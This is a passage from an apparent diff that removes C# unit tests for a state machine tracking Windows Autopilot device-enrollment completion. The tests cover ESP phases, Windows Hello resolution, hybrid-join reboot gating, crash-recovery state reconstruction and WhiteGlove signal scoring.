DeviceOnlyContext(); - ctx.DeviceInfoCollected = true; - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("self_deploying_provisioning_complete", result.CompletionSource); - } - - [Fact] - public void Path_DeviceOnly_SkipUser_FullSequence() - { - var sm = new CompletionStateMachine(); - - // 1. ESP phase detected - var ctx = DefaultContext(autopilotMode: 0, skipUserStatusPage: true, aadJoinedWithUser: false, - isHelloPolicyConfigured: false); - sm.ProcessTrigger("esp_phase_changed", ctx); - - // 2. ESP exits — SkipUserStatusPage=true - ctx.LastEspPhase = "DeviceSetup"; - var result = sm.ProcessTrigger("esp_exiting", ctx); - - Assert.True(result.ShouldEmitEnrollmentComplete || sm.CurrentState == EnrollmentCompletionState.DeviceOnlySafetyWait); - } - - [Fact] - public void Path_EspAccountSetup_HelloResolves_FullSequence() - { - var sm = new CompletionStateMachine(); - - // 1. ESP DeviceSetup - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - // 2. ESP exits from AccountSetup - sm.ProcessTrigger("esp_exiting", DefaultContext(lastEspPhase: "AccountSetup")); - - // 3. Hello resolves - var ctx = DefaultContext(isHelloCompleted: true); - var result = sm.ProcessTrigger("hello_completed", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("esp_hello_composite", result.CompletionSource); - } - - [Fact] - public void Path_EspAccountSetup_HelloAlreadyResolved_FullSequence() - { - var sm = new CompletionStateMachine(); - - // 1. ESP DeviceSetup - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - // 2. ESP exits from AccountSetup — Hello already resolved (backfill) - var ctx = DefaultContext(lastEspPhase: "AccountSetup", isHelloCompleted: true); - var result = sm.ProcessTrigger("esp_exiting", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("esp_hello_composite", result.CompletionSource); - } - - [Fact] - public void Path_HybridJoin_RebootGate_ImeCompletes_FullSequence() - { - var sm = new CompletionStateMachine(); - var espExitTime = DateTime.UtcNow; - var agentStartBeforeEsp = espExitTime.AddMinutes(-30); - - // 1. ESP DeviceSetup - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - // 2. ESP exits (hybrid join, agent started before ESP exit) - var ctx = HybridJoinContext(); - ctx.EspFinalExitUtc = espExitTime; - ctx.AgentStartTimeUtc = agentStartBeforeEsp; - sm.ProcessTrigger("esp_exiting", ctx); - - // 3. Hello resolves — blocked by reboot gate - var helloCtx = HybridJoinContext(); - helloCtx.IsHelloCompleted = true; - helloCtx.EspFinalExitUtc = espExitTime; - helloCtx.AgentStartTimeUtc = agentStartBeforeEsp; - sm.ProcessTrigger("hello_completed", helloCtx); - Assert.Equal(EnrollmentCompletionState.HybridRebootGateBlocked, sm.CurrentState); - - // 4. IME user session completes — gate unlocks - var imeCtx = HybridJoinContext(); - imeCtx.IsHelloCompleted = true; - imeCtx.ImePatternSeenUtc = DateTime.UtcNow; - imeCtx.IsHelloPolicyConfigured = false; - var result = sm.ProcessTrigger("ime_user_session_completed", imeCtx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void Path_Desktop_NoEsp_HelloResolves_FullSequence() - { - var sm = new CompletionStateMachine(); - - // 1. Desktop arrives (no ESP ever seen — WDP v2 or no ESP config) - var ctx = DefaultContext(enrollmentType: "v2"); - sm.ProcessTrigger("desktop_arrived", ctx); - Assert.Equal(EnrollmentCompletionState.DesktopArrivedAwaitingHello, sm.CurrentState); - - // 2. Hello resolves - var helloCtx = DefaultContext(enrollmentType: "v2", isHelloCompleted: true); - var result = sm.ProcessTrigger("hello_completed", helloCtx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("desktop_hello", result.CompletionSource); - } - - [Fact] - public void Path_Desktop_EspActive_WaitsForExit_ThenCompletes() - { - var sm = new CompletionStateMachine(); - - // 1. ESP starts - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - // 2. Desktop arrives while ESP active — blocked - sm.ProcessTrigger("desktop_arrived", DefaultContext(skipUserStatusPage: false)); - Assert.Equal(EnrollmentCompletionState.DesktopArrivedEspBlocking, sm.CurrentState); - - // 3. ESP exits from AccountSetup - sm.ProcessTrigger("esp_exiting", DefaultContext(lastEspPhase: "AccountSetup")); - - // 4. Hello resolves - var result = sm.ProcessTrigger("hello_completed", DefaultContext(isHelloCompleted: true)); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void Path_ImePattern_WaitingForHello_SafetyTimeout() - { - var sm = new CompletionStateMachine(); - - // 1. ESP starts - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - // 2. ESP exits - sm.ProcessTrigger("esp_exiting", DefaultContext(lastEspPhase: "AccountSetup")); - - // 3. IME user session completes — Hello pending - var ctx = DefaultContext(isHelloPolicyConfigured: true, isHelloCompleted: false); - sm.ProcessTrigger("ime_user_session_completed", ctx); - Assert.Equal(EnrollmentCompletionState.WaitingForHello, sm.CurrentState); - - // 4. Safety timeout fires - var result = sm.ProcessTrigger("hello_safety_timeout", DefaultContext()); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldForceMarkHelloCompleted); - Assert.True(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void Path_ImePattern_EspSettle_Then_Completes() - { - var sm = new CompletionStateMachine(); - - // 1. ESP starts - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - // 2. ESP exits - sm.ProcessTrigger("esp_exiting", DefaultContext(lastEspPhase: "AccountSetup")); - - // 3. IME user session completes — ESP categories unresolved - var ctx = DefaultContext( - isHelloPolicyConfigured: false, // Hello not configured - hasUnresolvedEspCategories: true); - sm.ProcessTrigger("ime_user_session_completed", ctx); - Assert.Equal(EnrollmentCompletionState.WaitingForEspSettle, sm.CurrentState); - - // 4. Settle timeout - var result = sm.ProcessTrigger("esp_settle_timeout", DefaultContext()); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("ime_pattern", result.CompletionSource); - } - - [Fact] - public void Path_WhiteGlove_Completes() - { - var sm = new CompletionStateMachine(); - - // 1. ESP starts - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - // 2. WhiteGlove detected - var result = sm.ProcessTrigger("whiteglove_complete", DefaultContext()); - - Assert.Equal(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.True(result.ShouldEmitWhiteGloveComplete); - Assert.False(result.ShouldEmitEnrollmentComplete); - } - - // ===== SECTION 3: Edge Case / Idempotency Tests ===== - - [Fact] - public void IdempotentCompletion_SecondCallNoOp() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.Completed, - espEverSeen: true, espFinalExitSeen: true, desktopArrived: true, - isWaitingForHello: false, isWaitingForEspSettle: false, deferredSource: null); - - // Try all triggers — none should transition - Assert.False(sm.ProcessTrigger("hello_completed", DefaultContext()).Transitioned); - Assert.False(sm.ProcessTrigger("desktop_arrived", DefaultContext()).Transitioned); - Assert.False(sm.ProcessTrigger("esp_phase_changed", DefaultContext()).Transitioned); - Assert.False(sm.ProcessTrigger("esp_exiting", DefaultContext()).Transitioned); - Assert.False(sm.ProcessTrigger("esp_failure_terminal", DefaultContext()).Transitioned); - Assert.False(sm.ProcessTrigger("whiteglove_complete", DefaultContext()).Transitioned); - } - - [Fact] - public void DesktopArrival_DuplicateIgnored() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("desktop_arrived", DefaultContext(hasHelloTracker: false)); - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - - // Second desktop arrival — no-op (terminal) - var result = sm.ProcessTrigger("desktop_arrived", DefaultContext()); - Assert.False(result.Transitioned); - } - - [Fact] - public void WhiteGloveIdempotent_SecondNoOp() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("whiteglove_complete", DefaultContext()); - Assert.Equal(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - - var result = sm.ProcessTrigger("whiteglove_complete", DefaultContext()); - Assert.False(result.Transitioned); - } - - [Fact] - public void EspResumed_ResetsCompletionState_HybridJoin() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - sm.ProcessTrigger("esp_exiting", DefaultContext(lastEspPhase: "AccountSetup", isHybridJoin: true)); - Assert.True(sm.EspFinalExitSeen); - - // ESP resumes — resets final exit - sm.ProcessTrigger("esp_resumed", DefaultContext(isHybridJoin: true)); - Assert.False(sm.EspFinalExitSeen); - Assert.Equal(EnrollmentCompletionState.EspActive, sm.CurrentState); - } - - [Fact] - public void DeviceInfoNotReady_Deferred_ReEvaluated() - { - var sm = new CompletionStateMachine(); - - // Device setup provisioning completes but device info not collected - var ctx = DefaultContext( - autopilotMode: null, - skipUserStatusPage: null, - deviceInfoCollected: false); - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.Equal(EnrollmentCompletionState.DeferredForDeviceInfo, sm.CurrentState); - Assert.Equal("device_setup_provisioning_complete", result.DeferredSource); - - // Device info collected — now detected as device-only - var resolvedCtx = DeviceOnlyContext(); - resolvedCtx.DeviceInfoCollected = true; - result = sm.ProcessTrigger("device_info_collected", resolvedCtx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void DeviceInfoNotReady_Deferred_ReEvaluated_NotDeviceOnly() - { - var sm = new CompletionStateMachine(); - - var ctx = DefaultContext( - autopilotMode: null, - skipUserStatusPage: null, - deviceInfoCollected: false); - sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - Assert.Equal(EnrollmentCompletionState.DeferredForDeviceInfo, sm.CurrentState); - - // Device info collected — NOT device-only, return to Idle - var resolvedCtx = DefaultContext( - autopilotMode: 0, - skipUserStatusPage: false, - aadJoinedWithUser: true, - deviceInfoCollected: true); - var result = sm.ProcessTrigger("device_info_collected", resolvedCtx); - - Assert.Equal(EnrollmentCompletionState.Idle, sm.CurrentState); - Assert.False(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void NullTrigger_NoTransition() - { - var sm = new CompletionStateMachine(); - var result = sm.ProcessTrigger(null, DefaultContext()); - Assert.False(result.Transitioned); - } - - [Fact] - public void EmptyTrigger_NoTransition() - { - var sm = new CompletionStateMachine(); - var result = sm.ProcessTrigger("", DefaultContext()); - Assert.False(result.Transitioned); - } - - [Fact] - public void UnknownTrigger_NoTransition() - { - var sm = new CompletionStateMachine(); - var result = sm.ProcessTrigger("unknown_trigger_xyz", DefaultContext()); - Assert.False(result.Transitioned); - } - - [Fact] - public void SignalsRecorded_OnTransition() - { - var sm = new CompletionStateMachine(); - var result = sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - Assert.NotNull(result.SignalsToRecord); - Assert.Contains("esp_phase_changed", result.SignalsToRecord); - } - - // ===== SECTION 4: Crash Recovery / State Reconstruction Tests ===== - - [Fact] - public void ReconstructState_Completed_ReturnsCompleted() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: true, isWaitingForHello: false, - isWaitingForEspSettle: false, espFinalExitSeen: true, - desktopArrived: true, espEverSeen: true, isDeviceOnly: false); - - Assert.Equal(EnrollmentCompletionState.Completed, state); - } - - [Fact] - public void ReconstructState_WaitingForHello_ReturnsWaitingForHello() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: false, isWaitingForHello: true, - isWaitingForEspSettle: false, espFinalExitSeen: true, - desktopArrived: false, espEverSeen: true, isDeviceOnly: false); - - Assert.Equal(EnrollmentCompletionState.WaitingForHello, state); - } - - [Fact] - public void ReconstructState_WaitingForEspSettle_ReturnsWaitingForEspSettle() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: false, isWaitingForHello: false, - isWaitingForEspSettle: true, espFinalExitSeen: true, - desktopArrived: false, espEverSeen: true, isDeviceOnly: false); - - Assert.Equal(EnrollmentCompletionState.WaitingForEspSettle, state); - } - - [Fact] - public void ReconstructState_DeviceOnly_EspExited_ReturnsDeviceOnly() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: false, isWaitingForHello: false, - isWaitingForEspSettle: false, espFinalExitSeen: true, - desktopArrived: false, espEverSeen: true, isDeviceOnly: true); - - Assert.Equal(EnrollmentCompletionState.DeviceOnlyAwaitingCompletion, state); - } - - [Fact] - public void ReconstructState_EspExited_Desktop_ReturnsDesktopAwaitingHello() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: false, isWaitingForHello: false, - isWaitingForEspSettle: false, espFinalExitSeen: true, - desktopArrived: true, espEverSeen: true, isDeviceOnly: false); - - Assert.Equal(EnrollmentCompletionState.DesktopArrivedAwaitingHello, state); - } - - [Fact] - public void ReconstructState_EspExited_NoDesktop_ReturnsEspExitedAwaiting() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: false, isWaitingForHello: false, - isWaitingForEspSettle: false, espFinalExitSeen: true, - desktopArrived: false, espEverSeen: true, isDeviceOnly: false); - - Assert.Equal(EnrollmentCompletionState.EspExitedAwaitingCompletion, state); - } - - [Fact] - public void ReconstructState_EspActive_Desktop_ReturnsDesktopEspBlocking() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: false, isWaitingForHello: false, - isWaitingForEspSettle: false, espFinalExitSeen: false, - desktopArrived: true, espEverSeen: true, isDeviceOnly: false); - - Assert.Equal(EnrollmentCompletionState.DesktopArrivedEspBlocking, state); - } - - [Fact] - public void ReconstructState_EspActive_NoDesktop_ReturnsEspActive() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: false, isWaitingForHello: false, - isWaitingForEspSettle: false, espFinalExitSeen: false, - desktopArrived: false, espEverSeen: true, isDeviceOnly: false); - - Assert.Equal(EnrollmentCompletionState.EspActive, state); - } - - [Fact] - public void ReconstructState_DesktopOnly_ReturnsDesktopAwaitingHello() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: false, isWaitingForHello: false, - isWaitingForEspSettle: false, espFinalExitSeen: false, - desktopArrived: true, espEverSeen: false, isDeviceOnly: false); - - Assert.Equal(EnrollmentCompletionState.DesktopArrivedAwaitingHello, state); - } - - [Fact] - public void ReconstructState_Fresh_ReturnsIdle() - { - var state = CompletionStateMachine.ReconstructStateFromFlags( - enrollmentCompleteEmitted: false, isWaitingForHello: false, - isWaitingForEspSettle: false, espFinalExitSeen: false, - desktopArrived: false, espEverSeen: false, isDeviceOnly: false); - - Assert.Equal(EnrollmentCompletionState.Idle, state); - } - - [Fact] - public void RestoreState_PreservesAllFields() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.EspExitedAwaitingCompletion, - espEverSeen: true, espFinalExitSeen: true, desktopArrived: true, - isWaitingForHello: false, isWaitingForEspSettle: false, deferredSource: null); - - Assert.Equal(EnrollmentCompletionState.EspExitedAwaitingCompletion, sm.CurrentState); - Assert.True(sm.EspEverSeen); - Assert.True(sm.EspFinalExitSeen); - Assert.True(sm.DesktopArrived); - } - - [Fact] - public void RestoreState_WaitingForHello_CanResumeCompletion() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.WaitingForHello, - espEverSeen: true, espFinalExitSeen: true, desktopArrived: false, - isWaitingForHello: true, isWaitingForEspSettle: false, deferredSource: null); - - // Hello completes after crash recovery - var result = sm.ProcessTrigger("hello_completed", DefaultContext(isHelloCompleted: true)); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("ime_hello", result.CompletionSource); - } - - [Fact] - public void RestoreState_WaitingForEspSettle_CanResumeCompletion() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.WaitingForEspSettle, - espEverSeen: true, espFinalExitSeen: true, desktopArrived: false, - isWaitingForHello: false, isWaitingForEspSettle: true, deferredSource: null); - - // Settle timeout fires after crash recovery - var result = sm.ProcessTrigger("esp_settle_timeout", DefaultContext()); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - } - - // ===== SECTION 5: Extension Method Tests ===== - - [Fact] - public void IsTerminal_Completed_ReturnsTrue() - { - Assert.True(EnrollmentCompletionState.Completed.IsTerminal()); - } - - [Fact] - public void IsTerminal_Failed_ReturnsTrue() - { - Assert.True(EnrollmentCompletionState.Failed.IsTerminal()); - } - - [Fact] - public void IsTerminal_WhiteGloveCompleted_ReturnsTrue() - { - Assert.True(EnrollmentCompletionState.WhiteGloveCompleted.IsTerminal()); - } - - [Fact] - public void IsTerminal_Idle_ReturnsFalse() - { - Assert.False(EnrollmentCompletionState.Idle.IsTerminal()); - } - - [Fact] - public void IsTerminal_EspActive_ReturnsFalse() - { - Assert.False(EnrollmentCompletionState.EspActive.IsTerminal()); - } - - [Fact] - public void IsTerminal_WaitingForHello_ReturnsFalse() - { - Assert.False(EnrollmentCompletionState.WaitingForHello.IsTerminal()); - } - - [Fact] - public void IsWaiting_WaitingForHello_ReturnsTrue() - { - Assert.True(EnrollmentCompletionState.WaitingForHello.IsWaiting()); - } - - [Fact] - public void IsWaiting_WaitingForEspSettle_ReturnsTrue() - { - Assert.True(EnrollmentCompletionState.WaitingForEspSettle.IsWaiting()); - } - - [Fact] - public void IsWaiting_DeviceOnlySafetyWait_ReturnsTrue() - { - Assert.True(EnrollmentCompletionState.DeviceOnlySafetyWait.IsWaiting()); - } - - [Fact] - public void IsWaiting_HybridRebootGateBlocked_ReturnsTrue() - { - Assert.True(EnrollmentCompletionState.HybridRebootGateBlocked.IsWaiting()); - } - - [Fact] - public void IsWaiting_DeferredForDeviceInfo_ReturnsTrue() - { - Assert.True(EnrollmentCompletionState.DeferredForDeviceInfo.IsWaiting()); - } - - [Fact] - public void IsWaiting_Idle_ReturnsFalse() - { - Assert.False(EnrollmentCompletionState.Idle.IsWaiting()); - } - - [Fact] - public void IsWaiting_Completed_ReturnsFalse() - { - Assert.False(EnrollmentCompletionState.Completed.IsWaiting()); - } - - [Fact] - public void IsWaiting_EspActive_ReturnsFalse() - { - Assert.False(EnrollmentCompletionState.EspActive.IsWaiting()); - } - - // ===== SECTION 5: Drift regression tests ===== - // Repro for session 1fda3b0a-e586-4980-bc90-491e4e8ca870: - // ESP phase events were not persisted before reboot, so SM was restored with - // espEverSeen=false. Subsequent esp_exiting + desktop_arrived must not complete - // the SM prematurely — the ProcessTrigger snapshot sync lifts the missing flags - // from the context (the authoritative tracker state). - - [Fact] - public void Drift_RestoredWithoutEspEverSeen_EspExitingSyncsFromContext() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.Idle, - espEverSeen: false, espFinalExitSeen: false, desktopArrived: false, - isWaitingForHello: false, isWaitingForEspSettle: false, deferredSource: null); - - // ctx says ESP was seen (real tracker is the source of truth). - // Hello policy IS configured but not yet completed — must wait, not complete. - var ctx = DefaultContext( - lastEspPhase: "AccountSetup", - isHelloPolicyConfigured: true, - isHelloCompleted: false); - ctx.EspEverSeen = true; - ctx.EspFinalExitSeen = false; - - var result = sm.ProcessTrigger("esp_exiting", ctx); - - Assert.True(result.Transitioned); - Assert.NotEqual(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.False(result.ShouldEmitEnrollmentComplete); - Assert.True(sm.EspEverSeen, "SM must lift _espEverSeen from ctx via the sync block"); - Assert.True(sm.EspFinalExitSeen, "esp_exiting Path A must mark final exit"); - } - - [Fact] - public void Drift_RestoredWithoutEspEverSeen_DesktopArrivedRoutesToEspBlocking() - { - // The exact scenario from session 1fda3b0a-e586-4980-bc90-491e4e8ca870 at 06:05:41: - // SM restored with espEverSeen=false, but ctx says ESP IS active. - // Pre-fix: SM took the "no ESP" else branch and reached Completed. - // Post-fix: sync block lifts _espEverSeen from ctx, SM correctly routes to - // DesktopArrivedEspBlocking. - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.Idle, - espEverSeen: false, espFinalExitSeen: false, desktopArrived: false, - isWaitingForHello: false, isWaitingForEspSettle: false, deferredSource: null); - - var ctx = DefaultContext( - isHelloPolicyConfigured: true, - isHelloCompleted: false); - ctx.EspEverSeen = true; - ctx.EspFinalExitSeen = false; - - var result = sm.ProcessTrigger("desktop_arrived", ctx); - - Assert.NotEqual(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.Equal(EnrollmentCompletionState.DesktopArrivedEspBlocking, sm.CurrentState); - Assert.False(result.ShouldEmitEnrollmentComplete); - } - - // ===== WhiteGlove Guard Tests ===== - - [Fact] - public void DeviceOnly_ProvisioningComplete_WithWhiteGloveStartOnly_CompletesAsSelfDeploying() - { - // EventID 509 alone (soft signal) must NOT trigger WhiteGlove — fires on hybrid-join too - var sm = new CompletionStateMachine(); - var ctx = DeviceOnlyContext(); - ctx.WhiteGloveStartDetected = true; - ctx.HasSaveWhiteGloveSuccessResult = false; - - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.False(result.ShouldEmitWhiteGloveComplete); - } - - [Fact] - public void DeviceOnly_ProvisioningComplete_WithOnlySaveWhiteGloveSuccessResult_DoesNotTriggerWhiteGlove() - { - // Post-classifier behaviour: HasSaveWhiteGloveSuccessResult alone scores 10 (very - // weak — it also fires on genuinely non-WG devices). With DeviceOnly that reaches - // 25 → Confidence.None → NOT routed to WhiteGlove. This is the core bugfix. - var sm = new CompletionStateMachine(); - var ctx = DeviceOnlyContext(); - ctx.HasSaveWhiteGloveSuccessResult = true; - - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.NotEqual(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.False(result.ShouldEmitWhiteGloveComplete); - Assert.True(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void DeviceOnly_ProvisioningComplete_BothWgSignals_IsWeak_DoesNotTriggerWhiteGlove() - { - // SaveWg(+10) + Event509(+15) + DeviceOnly(+15) = 40 → Confidence.Weak → NOT WG - // (asymmetric-conservative routing: unsicher → kein WG). - var sm = new CompletionStateMachine(); - var ctx = DeviceOnlyContext(); - ctx.WhiteGloveStartDetected = true; - ctx.HasSaveWhiteGloveSuccessResult = true; - - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.NotEqual(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.False(result.ShouldEmitWhiteGloveComplete); - } - - [Fact] - public void DeviceOnly_ProvisioningComplete_ShellCoreWgSuccess_TransitionsToWhiteGloveCompleted() - { - // ShellCoreWhiteGloveSuccess (Event 62407) alone scores 80 → Confidence.Strong → WG. - var sm = new CompletionStateMachine(); - var ctx = DeviceOnlyContext(); - ctx.ShellCoreWhiteGloveSuccess = true; - - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.Equal(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.True(result.ShouldEmitWhiteGloveComplete); - Assert.False(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void DeviceOnly_ProvisioningComplete_WgSignalVerbund_ReachingThreshold_TransitionsToWhiteGlove() - { - // Signalverbund ohne ShellCore: SaveWg(+10) + Event509(+15) + FooUser(+20) + - // DeviceOnly(+15) + AgentRestartAfterEsp(+10) = 70 → Strong → WG. - var sm = new CompletionStateMachine(); - var ctx = DeviceOnlyContext(); - ctx.WhiteGloveStartDetected = true; - ctx.HasSaveWhiteGloveSuccessResult = true; - ctx.IsFooUserDetected = true; - ctx.EspFinalExitUtc = DateTime.UtcNow.AddHours(-1); - ctx.AgentStartTimeUtc = DateTime.UtcNow.AddMinutes(-30); - - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.Equal(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.True(result.ShouldEmitWhiteGloveComplete); - } - - [Fact] - public void DeviceOnly_ProvisioningComplete_LateAadJoin_DoesNotTriggerWhiteGlove() - { - // Selbst mit starkem WG-Signal: realer AAD-Join (späte Erkennung via AadJoinWatcher) - // muss Classifier-Hard-Excluder auslösen → NICHT WG. - var sm = new CompletionStateMachine(); - var ctx = DeviceOnlyContext(); - ctx.ShellCoreWhiteGloveSuccess = true; - ctx.AadJoinedWithUser = true; // late AAD join flipped this - - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.NotEqual(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.False(result.ShouldEmitWhiteGloveComplete); - } - - [Fact] - public void DeviceOnly_ProvisioningComplete_NoWhiteGloveSignals_CompletesAsSelfDeploying() - { - var sm = new CompletionStateMachine(); - var ctx = DeviceOnlyContext(); - ctx.WhiteGloveStartDetected = false; - ctx.HasSaveWhiteGloveSuccessResult = false; - - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.False(result.ShouldEmitWhiteGloveComplete); - Assert.Equal("self_deploying_provisioning_complete", result.CompletionSource); - } - - [Fact] - public void NonDeviceOnly_ProvisioningComplete_WithWhiteGloveStart_DoesNotTriggerWhiteGlove() - { - // Non-device-only deployments should NOT activate the WhiteGlove guard - var sm = new CompletionStateMachine(); - var ctx = DefaultContext(whiteGloveStartDetected: true); - - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.NotEqual(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.False(result.ShouldEmitWhiteGloveComplete); - } - - [Fact] - public void WhiteGloveCompleted_IsTerminal() - { - // Use ShellCoreWhiteGloveSuccess (score 80) to drive into WG — post-classifier - // it's the only single signal that hits Strong on its own. - var sm = new CompletionStateMachine(); - var ctx = DeviceOnlyContext(); - ctx.ShellCoreWhiteGloveSuccess = true; - sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.Equal(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - - // Further triggers should be no-ops - var result2 = sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - Assert.False(result2.Transitioned); - Assert.Equal(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - } - - [Fact] - public void EspExiting_SkipUser_WithWhiteGloveStartOnly_CompletesAsDeviceOnly() - { - // EventID 509 alone (soft signal) must NOT trigger WhiteGlove on ESP exit - var sm = new CompletionStateMachine(); - - var ctx = DefaultContext(autopilotMode: 0, skipUserStatusPage: true, aadJoinedWithUser: false, - isHelloPolicyConfigured: false, whiteGloveStartDetected: true); - ctx.HasSaveWhiteGloveSuccessResult = false; - sm.ProcessTrigger("esp_phase_changed", ctx); - - ctx.LastEspPhase = "DeviceSetup"; - var result = sm.ProcessTrigger("esp_exiting", ctx); - - Assert.NotEqual(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.False(result.ShouldEmitWhiteGloveComplete); - } - - [Fact] - public void EspExiting_SkipUser_WithOnlySaveWhiteGloveSuccessResult_DoesNotTriggerWhiteGlove() - { - // Post-classifier behaviour: weak single signal (score 25 with device-only) → NOT WG. - var sm = new CompletionStateMachine(); - - var ctx = DefaultContext(autopilotMode: 0, skipUserStatusPage: true, aadJoinedWithUser: false, - isHelloPolicyConfigured: false, hasSaveWhiteGloveSuccessResult: true); - sm.ProcessTrigger("esp_phase_changed", ctx); - - ctx.LastEspPhase = "DeviceSetup"; - var result = sm.ProcessTrigger("esp_exiting", ctx); - - Assert.NotEqual(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.False(result.ShouldEmitWhiteGloveComplete); - } - - [Fact] - public void EspExiting_SkipUser_WithShellCoreWgSuccess_TransitionsToWhiteGloveCompleted() - { - // ShellCoreWhiteGloveSuccess alone reaches Strong → WG. - var sm = new CompletionStateMachine(); - - var ctx = DefaultContext(autopilotMode: 0, skipUserStatusPage: true, aadJoinedWithUser: false, - isHelloPolicyConfigured: false); - ctx.ShellCoreWhiteGloveSuccess = true; - sm.ProcessTrigger("esp_phase_changed", ctx); - - ctx.LastEspPhase = "DeviceSetup"; - var result = sm.ProcessTrigger("esp_exiting", ctx); - - Assert.Equal(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.True(result.ShouldEmitWhiteGloveComplete); - } - - [Fact] - public void EspExiting_SkipUser_NoWhiteGloveSignals_CompletesAsDeviceOnly() - { - var sm = new CompletionStateMachine(); - - var ctx = DefaultContext(autopilotMode: 0, skipUserStatusPage: true, aadJoinedWithUser: false, - isHelloPolicyConfigured: false, isHelloCompleted: true); - sm.ProcessTrigger("esp_phase_changed", ctx); - - ctx.LastEspPhase = "DeviceSetup"; - var result = sm.ProcessTrigger("esp_exiting", ctx); - - Assert.NotEqual(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.False(result.ShouldEmitWhiteGloveComplete); - 